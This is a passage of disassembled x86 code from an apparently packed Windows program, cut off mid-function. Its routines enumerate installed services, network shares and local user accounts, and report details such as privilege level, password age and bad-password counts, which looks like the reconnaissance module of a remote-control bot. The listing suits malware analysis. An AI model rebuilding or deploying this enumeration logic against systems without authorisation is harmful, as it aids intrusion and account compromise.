; ---------------------------------------------------------------------------
loc_418D84: ; CODE XREF: sub_418D2A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D8E: ; CODE XREF: sub_418D2A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418D2A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DA2: ; CODE XREF: sub_418D2A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418DD1
dec ecx
jz short loc_418DCA
dec ecx
jz short loc_418DC3
dec ecx
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DC3: ; CODE XREF: sub_418D2A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DCA: ; CODE XREF: sub_418D2A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D2A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD8: ; CODE XREF: sub_418D2A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DDF: ; CODE XREF: sub_418D2A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
jz short loc_418E42
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418E96[ecx]
jmp off_418E6E[ecx*4] ; switch jump
loc_418E03: ; DATA XREF: .packed:off_418E6Eo
push offset aTheSpecifiedDa ; jumptable 00418DFC case 7
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E0A: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceDepe ; jumptable 00418DFC case 17
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E11: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceDe_0 ; jumptable 00418DFC case 10
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E18: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceHasB ; jumptable 00418DFC case 0
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheSpecified_0 ; jumptable 00418DFC case 2
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E26: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceCoul ; jumptable 00418DFC case 11
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceHa_0 ; jumptable 00418DFC case 14
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheRequested_1 ; jumptable 00418DFC case 3
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceHasN ; jumptable 00418DFC case 4
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418D2A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E47: ; CODE XREF: sub_418D2A+41j
; sub_418D2A+4Bj ...
push offset dword_4DB380
call sub_41C266
pop ecx
pop ecx
jmp short loc_418E68
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418D2A+36j
; sub_418D2A+89j ...
push eax ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB380
call sub_41C266
add esp, 0Ch
loc_418E68: ; CODE XREF: sub_418D2A+129j
mov eax, offset dword_4DB380
retn
sub_418D2A endp
; ---------------------------------------------------------------------------
off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r
dd offset loc_418E1F ; jump table for switch statement
dd offset loc_418E34
dd offset loc_418E3B
dd offset loc_418E03
dd offset loc_418E11
dd offset loc_418E26
dd offset loc_418E2D
dd offset loc_418E0A
dd offset loc_418E55
byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB9C8 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_418EE0: ; CODE XREF: sub_418EA8+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB994 ; EnumServicesStatusA
test eax, eax
jnz short loc_418F1A
call dword_427094 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_418FCE
loc_418F1A: ; CODE XREF: sub_418EA8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418FC5
lea esi, [ebp+var_188]
loc_418F2B: ; CODE XREF: sub_418EA8+117j
mov eax, [esi+8]
dec eax
jz short loc_418F74
dec eax
jz short loc_418F6D
dec eax
jz short loc_418F66
dec eax
jz short loc_418F5F
dec eax
jz short loc_418F58
dec eax
jz short loc_418F51
dec eax
jz short loc_418F4A
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F4A: ; CODE XREF: sub_418EA8+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F51: ; CODE XREF: sub_418EA8+96j
push offset aPausing ; " Pausing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F58: ; CODE XREF: sub_418EA8+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418EA8+90j
push offset aRunning ; " Running"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418EA8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418EA8+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418EA8+87j
push offset aStopped ; " Stopped"
loc_418F79: ; CODE XREF: sub_418EA8+A0j
; sub_418EA8+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418F2B
loc_418FC5: ; CODE XREF: sub_418EA8+77j
cmp [ebp+var_8], ebx
jnz loc_418EE0
loc_418FCE: ; CODE XREF: sub_418EA8+6Cj
push [ebp+var_C]
call dword_4CB8CC ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41907F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41900E
dec eax
jnz short loc_41905F
push edi
push 0
call sub_4191B8
pop ecx
pop ecx
jmp short loc_41905B
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418FE5+18j
cmp [ebp+arg_8], 0
jnz short loc_41904D
push 24h
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_41904D
push 57h
pop eax
loc_419025: ; CODE XREF: sub_418FE5+78j
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_439518[eax*4]
push offset unk_439BC4
push esi
call sub_41C266
add esp, 14h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41904D: ; CODE XREF: sub_418FE5+2Dj
; sub_418FE5+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41910C
add esp, 0Ch
loc_41905B: ; CODE XREF: sub_418FE5+27j
test eax, eax
jnz short loc_419025
loc_41905F: ; CODE XREF: sub_418FE5+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_43951C[eax*4]
push offset dword_439BA8
push esi
call sub_41C266
add esp, 10h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41907F: ; CODE XREF: sub_418FE5+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB63C
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439B84
push esi
call sub_41C266
add esp, 0Ch
loc_41909F: ; CODE XREF: sub_418FE5+66j
; sub_418FE5+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FE5 endp
; =============== S U B R O U T I N E =======================================
sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4190B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4190B2: ; CODE XREF: sub_4190A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_427188
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DB83C, 1
mov ebp, eax
jnz short loc_4190EF
or byte_4DB83C, 1
lea eax, [ebp+1]
push eax
call sub_41D9A5
pop ecx
mov dword_4DB5DC, eax
loc_4190EF: ; CODE XREF: sub_4190A5+32j
push esi
push esi
push ebp
push dword_4DB5DC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DB5DC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4190A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep
; sub_41A6EA+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C990
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419177
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB8C8
pop edi
leave
retn
sub_41910C endp
; =============== S U B R O U T I N E =======================================
sub_419177 proc near ; CODE XREF: sub_41910C+Ap
; sub_41910C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419184
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419184: ; CODE XREF: sub_419177+9j
push ebx
push esi
mov esi, dword_4270E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D9A5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419177 endp
; =============== S U B R O U T I N E =======================================
sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p
; sub_41A3C6+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB8A0
pop esi
retn
sub_4191B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419177
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_419214: ; CODE XREF: sub_4191DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB918
mov ebx, eax
cmp ebx, esi
jz short loc_419277
cmp ebx, 0EAh
jz short loc_419277
push ebx
push ebx
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439C10
push eax
call sub_41C266
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_4192E4
; ---------------------------------------------------------------------------
loc_419277: ; CODE XREF: sub_4191DB+5Dj
; sub_4191DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4192DB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419285: ; CODE XREF: sub_4191DB+FCj
push dword ptr [esi+10h]
call dword_4CB8BC ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41929C
mov eax, offset aNo ; "No"
loc_41929C: ; CODE XREF: sub_4191DB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419285
xor esi, esi
loc_4192DB: ; CODE XREF: sub_4191DB+A2j
push [ebp+var_4]
call dword_4CBA64
loc_4192E4: ; CODE XREF: sub_4191DB+9Aj
cmp ebx, 0EAh
jz loc_419214
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4191DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4193A1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41933E
dec eax
jz short loc_419333
dec eax
jnz short loc_419359
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419443
add esp, 14h
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419333: ; CODE XREF: sub_4192FC+1Dj
push ebx
push edi
call sub_419422
pop ecx
pop ecx
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_41933E: ; CODE XREF: sub_4192FC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419352
push [ebp+arg_8]
push ebx
push edi
call sub_4193C8
add esp, 0Ch
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419352: ; CODE XREF: sub_4192FC+45j
push 57h
pop eax
loc_419355: ; CODE XREF: sub_4192FC+35j
; sub_4192FC+40j ...
cmp eax, edi
jnz short loc_419379
loc_419359: ; CODE XREF: sub_4192FC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_43951C[eax*4]
push offset unk_439CC8
push esi
call sub_41C266
add esp, 10h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_419379: ; CODE XREF: sub_4192FC+5Bj
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_439518[eax*4]
push offset unk_439C98
push esi
call sub_41C266
add esp, 14h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_4193A1: ; CODE XREF: sub_4192FC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB840
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439C70
push esi
call sub_41C266
add esp, 0Ch
loc_4193C1: ; CODE XREF: sub_4192FC+7Bj
; sub_4192FC+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419177
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB8AC
pop edi
leave
retn
sub_4193C8 endp
; =============== S U B R O U T I N E =======================================
sub_419422 proc near ; CODE XREF: sub_4192FC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push eax
push esi
call dword_4CB89C
pop esi
retn
sub_419422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CBA2C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4197EB
mov eax, [ebp+var_4]
test eax, eax
jz loc_419826
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C266
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419562
dec eax
jz short loc_41955B
dec eax
jz short loc_419554
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419554: ; CODE XREF: sub_419443+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_41955B: ; CODE XREF: sub_419443+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419562: ; CODE XREF: sub_419443+102j
mov eax, offset aGuest ; "Guest"
loc_419567: ; CODE XREF: sub_419443+10Fj
; sub_419443+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C266
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
add esp, 20h
pop edi
pop ebx
jmp short loc_419817
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419443+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439CE8
push eax
call sub_41C266
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409869
add esp, 20h
loc_419817: ; CODE XREF: sub_419443+3A6j
cmp [ebp+var_4], 0
jz short loc_419826
push [ebp+var_4]
call dword_4CBA64
loc_419826: ; CODE XREF: sub_419443+40j
; sub_419443+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419177
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_41986B: ; CODE XREF: sub_41982C+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB934
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4198CC
cmp eax, 0EAh
jz short loc_4198CC
push eax
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439ED8
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_4198CC: ; CODE XREF: sub_41982C+62j
; sub_41982C+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41995A
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419947
loc_4198DE: ; CODE XREF: sub_41982C+EDj
cmp edi, esi
jz short loc_41991D
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_218]
